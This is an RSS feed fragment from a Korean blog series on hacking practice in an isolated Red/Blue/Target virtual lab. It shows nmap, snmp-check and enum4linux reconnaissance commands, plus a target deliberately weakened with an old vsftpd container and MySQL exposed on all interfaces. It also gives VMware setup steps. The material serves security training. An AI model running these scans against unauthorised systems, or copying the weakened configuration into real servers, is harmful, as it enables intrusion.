&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>Red, Blue, Target 환경을 통한 해킹 실습</category>
      <author>TungTung0000</author>
      <guid isPermaLink="true">https://yeonni821.tistory.com/43</guid>
      <comments>https://yeonni821.tistory.com/43#entry43comment</comments>
      <pubDate>Fri, 3 Jul 2026 11:12:20 +0900</pubDate>
    </item>
    <item>
      <title>정찰 단계 1 &amp;mdash; Nmap 고급 스캔 기법</title>
      <link>https://yeonni821.tistory.com/42</link>
      <description>&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;818&quot; data-origin-height=&quot;565&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bJudo6/dJMcagTDFAY/f5QgJOGKBghJeHfi1djSp1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bJudo6/dJMcagTDFAY/f5QgJOGKBghJeHfi1djSp1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bJudo6/dJMcagTDFAY/f5QgJOGKBghJeHfi1djSp1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbJudo6%2FdJMcagTDFAY%2Ff5QgJOGKBghJeHfi1djSp1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;818&quot; height=&quot;565&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;818&quot; data-origin-height=&quot;565&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 100%;&quot;&gt;
&lt;h1 data-end=&quot;50&quot; data-start=&quot;37&quot; data-section-id=&quot;1d5pzoj&quot;&gt;교육자료와 열린 포트가 다른 이유&lt;/h1&gt;
&lt;h2 data-end=&quot;78&quot; data-start=&quot;52&quot; data-section-id=&quot;1rycshm&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span&gt;1. nmap -F --open -T4&lt;/span&gt;&lt;/h2&gt;
&lt;h3 data-end=&quot;107&quot; data-start=&quot;80&quot; data-section-id=&quot;1or2vwc&quot; data-ke-size=&quot;size23&quot;&gt;(1) 2121 포트가 보이지 않았던 이유&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;183&quot; data-start=&quot;108&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;147&quot; data-start=&quot;108&quot; data-section-id=&quot;1esou6s&quot;&gt;Docker FTP(vsftpd234) 컨테이너가 실행되지 않았음.&lt;/li&gt;
&lt;li data-end=&quot;183&quot; data-start=&quot;148&quot; data-section-id=&quot;19d5eex&quot;&gt;해결: sudo docker start vsftpd234&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-end=&quot;212&quot; data-start=&quot;185&quot; data-section-id=&quot;1ai09fd&quot; data-ke-size=&quot;size23&quot;&gt;(2) 3306 포트가 보이지 않았던 이유&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;296&quot; data-start=&quot;213&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;249&quot; data-start=&quot;213&quot; data-section-id=&quot;1fvvrgu&quot;&gt;MySQL이 127.0.0.1로만 Listen하고 있었음.&lt;/li&gt;
&lt;li data-end=&quot;296&quot; data-start=&quot;250&quot; data-section-id=&quot;xnou5f&quot;&gt;해결: bind-address = 0.0.0.0 수정 후 MySQL 재시작.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-end=&quot;328&quot; data-start=&quot;298&quot; data-section-id=&quot;5hncvm&quot; data-ke-size=&quot;size23&quot;&gt;(3) 139, 445 포트가 추가로 보인 이유&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;362&quot; data-start=&quot;329&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;362&quot; data-start=&quot;329&quot; data-section-id=&quot;7gpbar&quot;&gt;Samba를 설치하여 SMB 실습 환경을 구성했기 때문.&lt;/li&gt;
&lt;/ul&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;확인 1. 빠른 포트 확인&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;$ sudo nmap -F --open -T4 $TARGET &lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;563&quot; data-origin-height=&quot;237&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/pRkvc/dJMcabrfTKm/dDfuiUNKXyF9NJ3x008A81/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/pRkvc/dJMcabrfTKm/dDfuiUNKXyF9NJ3x008A81/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/pRkvc/dJMcabrfTKm/dDfuiUNKXyF9NJ3x008A81/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FpRkvc%2FdJMcabrfTKm%2FdDfuiUNKXyF9NJ3x008A81%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;563&quot; height=&quot;237&quot; data-origin-width=&quot;563&quot; data-origin-height=&quot;237&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;확인 2. 전체 포트 버전 스캔&lt;/span&gt;&lt;/h4&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size14&quot;&gt;$ sudo nmap -sV -sC -p- -T4 -oA ~/lab/recon/nmap/full $TARGET&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;955&quot; data-origin-height=&quot;877&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bX0Jm5/dJMcahLKOkf/9wcDaPLuD3MPzewKS9O0fk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bX0Jm5/dJMcahLKOkf/9wcDaPLuD3MPzewKS9O0fk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bX0Jm5/dJMcahLKOkf/9wcDaPLuD3MPzewKS9O0fk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbX0Jm5%2FdJMcahLKOkf%2F9wcDaPLuD3MPzewKS9O0fk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;955&quot; height=&quot;877&quot; data-origin-width=&quot;955&quot; data-origin-height=&quot;877&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;확인 3.&lt;span&gt; OS 핑거프린팅&lt;/span&gt;&lt;/span&gt;&lt;/h4&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size14&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;span&gt;$ sudo nmap -O $TARGET&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;957&quot; data-origin-height=&quot;383&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/c4evCo/dJMb991iKqc/m9uxRdR9EeDc3L24bmgDQk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/c4evCo/dJMb991iKqc/m9uxRdR9EeDc3L24bmgDQk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/c4evCo/dJMb991iKqc/m9uxRdR9EeDc3L24bmgDQk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fc4evCo%2FdJMb991iKqc%2Fm9uxRdR9EeDc3L24bmgDQk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;957&quot; height=&quot;383&quot; data-origin-width=&quot;957&quot; data-origin-height=&quot;383&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;확인4 .&lt;span&gt;&amp;nbsp; &amp;nbsp;취약점 스크립트 스캔&lt;/span&gt;&lt;/span&gt;&lt;/h4&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size14&quot;&gt;$ sudo nmap --script vuln -p 21,2121,80,3306 $TARGET&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;567&quot; data-origin-height=&quot;341&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/0u2sv/dJMcacDKrIX/1miZiKslm6HuKlVZkyYUC1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/0u2sv/dJMcacDKrIX/1miZiKslm6HuKlVZkyYUC1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/0u2sv/dJMcacDKrIX/1miZiKslm6HuKlVZkyYUC1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F0u2sv%2FdJMcacDKrIX%2F1miZiKslm6HuKlVZkyYUC1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;567&quot; height=&quot;341&quot; data-origin-width=&quot;567&quot; data-origin-height=&quot;341&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;확인5 . SNMP, 서비스 추가 열거&lt;/span&gt;&lt;/h4&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size14&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;span&gt;&lt;span&gt;$ snmp-check $TARGET ; enum4linux -a $TARGET&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;958&quot; data-origin-height=&quot;822&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cyBE3S/dJMcaiqlPqr/gbzTWQqbk9ZGe8ZUIjRoXk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cyBE3S/dJMcaiqlPqr/gbzTWQqbk9ZGe8ZUIjRoXk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cyBE3S/dJMcaiqlPqr/gbzTWQqbk9ZGe8ZUIjRoXk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcyBE3S%2FdJMcaiqlPqr%2FgbzTWQqbk9ZGe8ZUIjRoXk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;958&quot; height=&quot;822&quot; data-origin-width=&quot;958&quot; data-origin-height=&quot;822&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;</description>
      <category>Red, Blue, Target 환경을 통한 해킹 실습</category>
      <author>TungTung0000</author>
      <guid isPermaLink="true">https://yeonni821.tistory.com/42</guid>
      <comments>https://yeonni821.tistory.com/42#entry42comment</comments>
      <pubDate>Thu, 2 Jul 2026 16:37:49 +0900</pubDate>
    </item>
    <item>
      <title>Target &amp;amp; BULE Team(Wazuh) Ubuntu 환경 구성</title>
      <link>https://yeonni821.tistory.com/40</link>
      <description>&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 100%;&quot;&gt;&lt;b&gt;[VM&amp;nbsp;1:&amp;nbsp;Kali&amp;nbsp;Linux&amp;nbsp;&amp;mdash;&amp;nbsp;Red&amp;nbsp;Team&amp;nbsp;(공격자)]&lt;/b&gt;&lt;br /&gt;&amp;nbsp;- IP: 192.168.100.10&amp;nbsp;&amp;nbsp;|&amp;nbsp;&amp;nbsp;RAM: 8GB&amp;nbsp;&amp;nbsp;|&amp;nbsp;&amp;nbsp;Disk: 60GB&amp;nbsp;&amp;nbsp;|&amp;nbsp;&amp;nbsp;OS: Kali 2024.1&lt;br /&gt;&amp;nbsp;- NIC1: VMnet8 (NAT) &amp;rarr; 인터넷 (도구 다운로드)&lt;br /&gt;&amp;nbsp;- NIC2: VMnet1 (Host-only) &amp;rarr; 실습망 (공격 트래픽)&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&lt;b&gt;[VM&amp;nbsp;2:&amp;nbsp;Ubuntu&amp;nbsp;Server&amp;nbsp;&amp;mdash;&amp;nbsp;Target&amp;nbsp;(공격&amp;nbsp;대상)]&lt;/b&gt;&lt;br /&gt;&amp;nbsp;- IP: 192.168.100.20&amp;nbsp;&amp;nbsp;|&amp;nbsp;&amp;nbsp;RAM: 2GB&amp;nbsp;&amp;nbsp;|&amp;nbsp;&amp;nbsp;Disk: 40GB&amp;nbsp;&amp;nbsp;|&amp;nbsp;&amp;nbsp;OS: Ubuntu 22.04&lt;br /&gt;&amp;nbsp;- NIC: VMnet1 (Host-only) 단일 &amp;mdash; 인터넷 없음&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&lt;b&gt;[VM&amp;nbsp;3:&amp;nbsp;Ubuntu&amp;nbsp;Server&amp;nbsp;&amp;mdash;&amp;nbsp;Wazuh&amp;nbsp;SIEM&amp;nbsp;(Blue&amp;nbsp;Team)]&lt;/b&gt;&lt;br /&gt;&amp;nbsp;- IP: 192.168.100.30&amp;nbsp;&amp;nbsp;|&amp;nbsp;&amp;nbsp;RAM: 8GB&amp;nbsp;&amp;nbsp;|&amp;nbsp;&amp;nbsp;Disk: 100GB&amp;nbsp;&amp;nbsp;|&amp;nbsp;&amp;nbsp;OS: Ubuntu 22.04&lt;br /&gt;&amp;nbsp;- NIC1: VMnet8 (NAT) &amp;rarr; 인터넷 (Wazuh 설치)&lt;br /&gt;&amp;nbsp;- NIC2: VMnet1 (Host-only) &amp;rarr; 실습망 (에이전트 통신)&lt;br /&gt;&amp;nbsp;- 실습망:&amp;nbsp;192.168.100.0/24&amp;nbsp;(VMnet1&amp;nbsp;Host-only,&amp;nbsp;DHCP&amp;nbsp;없음)&lt;br /&gt;&amp;nbsp;&lt;br /&gt;⚠&amp;nbsp;호스트&amp;nbsp;PC&amp;nbsp;RAM이&amp;nbsp;16GB&amp;nbsp;미만이면&amp;nbsp;VM&amp;nbsp;2대씩&amp;nbsp;번갈아&amp;nbsp;켜기&lt;br /&gt;⚠ 망분리 후 공격을 시도하는 것으로 custom으로 진행 필요&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;font-family: AppleSDGothicNeo-Regular, 'Malgun Gothic', '맑은 고딕', dotum, 돋움, sans-serif;&quot;&gt; &lt;b&gt;[VM 2,3 : Ubuntu Server &lt;b&gt;&amp;mdash; Target (공격 대상), &lt;b&gt;Wazuh SIEM (Blue Team)&lt;/b&gt;&lt;/b&gt;]&lt;/b&gt;&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: AppleSDGothicNeo-Regular, 'Malgun Gothic', '맑은 고딕', dotum, 돋움, sans-serif;&quot;&gt;1. &lt;/span&gt;&lt;span style=&quot;color: #0f172a;&quot;&gt;&lt;a href=&quot;https://ubuntu.com/download/server&quot;&gt;https://ubuntu.com/download/server&lt;/a&gt; &amp;rarr; Download Ubuntu Server 22.04.3 LTS 클릭&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1254&quot; data-origin-height=&quot;1401&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dX3si6/dJMcaff3U9e/zz7Bd2xy5C0XoqdRzeN5C0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dX3si6/dJMcaff3U9e/zz7Bd2xy5C0XoqdRzeN5C0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dX3si6/dJMcaff3U9e/zz7Bd2xy5C0XoqdRzeN5C0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdX3si6%2FdJMcaff3U9e%2Fzz7Bd2xy5C0XoqdRzeN5C0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;613&quot; height=&quot;685&quot; data-origin-width=&quot;1254&quot; data-origin-height=&quot;1401&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;2.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #0f172a;&quot;&gt;VMware &amp;rarr; File &amp;rarr; New Virtual Machine &amp;rarr; Custom (advanced) &amp;rarr; Next&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;428&quot; data-origin-height=&quot;429&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/yPWWt/dJMb99Uoc24/KDiU3O3hRtzkYJw4JcQ4A0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/yPWWt/dJMb99Uoc24/KDiU3O3hRtzkYJw4JcQ4A0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/yPWWt/dJMb99Uoc24/KDiU3O3hRtzkYJw4JcQ4A0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FyPWWt%2FdJMb99Uoc24%2FKDiU3O3hRtzkYJw4JcQ4A0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;428&quot; height=&quot;429&quot; data-origin-width=&quot;428&quot; data-origin-height=&quot;429&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;3.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #0f172a;&quot;&gt;I will install the operating system later &amp;rarr; Next&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;428&quot; data-origin-height=&quot;431&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bckfEO/dJMcaf76ne8/p2GtZDcIqTF6atNW0MsJP1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bckfEO/dJMcaf76ne8/p2GtZDcIqTF6atNW0MsJP1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bckfEO/dJMcaf76ne8/p2GtZDcIqTF6atNW0MsJP1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbckfEO%2FdJMcaf76ne8%2Fp2GtZDcIqTF6atNW0MsJP1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;428&quot; height=&quot;431&quot; data-origin-width=&quot;428&quot; data-origin-height=&quot;431&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: AppleSDGothicNeo-Regular, 'Malgun Gothic', '맑은 고딕', dotum, 돋움, sans-serif;&quot;&gt;4. &lt;span style=&quot;color: #0f172a;&quot;&gt;Linux &amp;rarr; Ubuntu 64-bit &amp;rarr; Next&lt;/span&gt; &lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;428&quot; data-origin-height=&quot;425&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bBQD0L/dJMcaiDOQCj/UyMypMK6QvyBoz2kKxFSRK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bBQD0L/dJMcaiDOQCj/UyMypMK6QvyBoz2kKxFSRK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bBQD0L/dJMcaiDOQCj/UyMypMK6QvyBoz2kKxFSRK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbBQD0L%2FdJMcaiDOQCj%2FUyMypMK6QvyBoz2kKxFSRK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;428&quot; height=&quot;425&quot; data-origin-width=&quot;428&quot; data-origin-height=&quot;425&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: AppleSDGothicNeo-Regular, 'Malgun Gothic', '맑은 고딕', dotum, 돋움, sans-serif;&quot;&gt;5. &lt;/span&gt;&lt;span style=&quot;color: #0f172a;&quot;&gt;CPU: 2&amp;times;1=2core&lt;span&gt;&amp;nbsp; &lt;/span&gt;/&lt;span&gt;&amp;nbsp; &lt;/span&gt;RAM: 2048MB &amp;rarr; Next &amp;rarr; Next&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;429&quot; data-origin-height=&quot;429&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/rMf31/dJMcaicNVc9/xOiw94yNKzHFPnZp2Hee50/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/rMf31/dJMcaicNVc9/xOiw94yNKzHFPnZp2Hee50/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/rMf31/dJMcaicNVc9/xOiw94yNKzHFPnZp2Hee50/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FrMf31%2FdJMcaicNVc9%2FxOiw94yNKzHFPnZp2Hee50%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;429&quot; height=&quot;429&quot; data-origin-width=&quot;429&quot; data-origin-height=&quot;429&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: AppleSDGothicNeo-Regular, 'Malgun Gothic', '맑은 고딕', dotum, 돋움, sans-serif;&quot;&gt;6. &lt;/span&gt;&lt;span style=&quot;color: #0f172a;&quot;&gt;SCSI &amp;rarr; Create new disk &amp;rarr; 40GB &amp;rarr; Single file &amp;rarr; Next &amp;rarr; Finish&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;433&quot; data-origin-height=&quot;435&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bkYh2z/dJMcacDEIyp/N0v1psepGIGhgL2AJc6lgK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bkYh2z/dJMcacDEIyp/N0v1psepGIGhgL2AJc6lgK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bkYh2z/dJMcacDEIyp/N0v1psepGIGhgL2AJc6lgK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbkYh2z%2FdJMcacDEIyp%2FN0v1psepGIGhgL2AJc6lgK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;433&quot; height=&quot;435&quot; data-origin-width=&quot;433&quot; data-origin-height=&quot;435&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
